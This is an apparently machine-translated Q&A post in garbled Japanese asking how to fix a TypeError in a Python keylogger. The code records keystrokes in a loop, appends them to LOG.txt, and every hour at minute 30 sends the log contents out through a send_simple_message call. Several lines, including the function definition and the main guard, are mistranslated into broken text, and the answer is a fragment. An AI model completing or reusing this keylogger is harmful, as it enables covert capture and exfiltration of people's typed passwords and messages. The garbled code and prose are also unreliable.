デフFILE_INPUTをリストしていない:例外TypeError:引数はstrをしなければならない()書き込み、(記録)
now_time = datetime.datetime.now()
w = open("LOG.txt", 'a')
w.write(recorded)
w.write("\n")
w.write(now_time)
w.write("--------------------------------------")
w .close()
かの名前 == "メイン":
while 1:
status = time.localtime()
result = []
keyboard.press_and_release('space')
recorded = keyboard.record(until='enter')
file_input(recorded)
if (status.tm_min == 30):
f = open("LOG.txt", 'r')
file_content = f.read()
f.close()
send_simple_message(file_content)
私はpythonでkeyloggerを書こうとしていると私はこの問題を解決する方法のようなタイプのエラーに直面した?
私は、記録された変数をwrite()に入れるだけで、型エラーを起こし、記録された変数の型はリストです。だから私は結合機能を使用しようとしましたが、機能しませんでした。
問題は、それが働いた –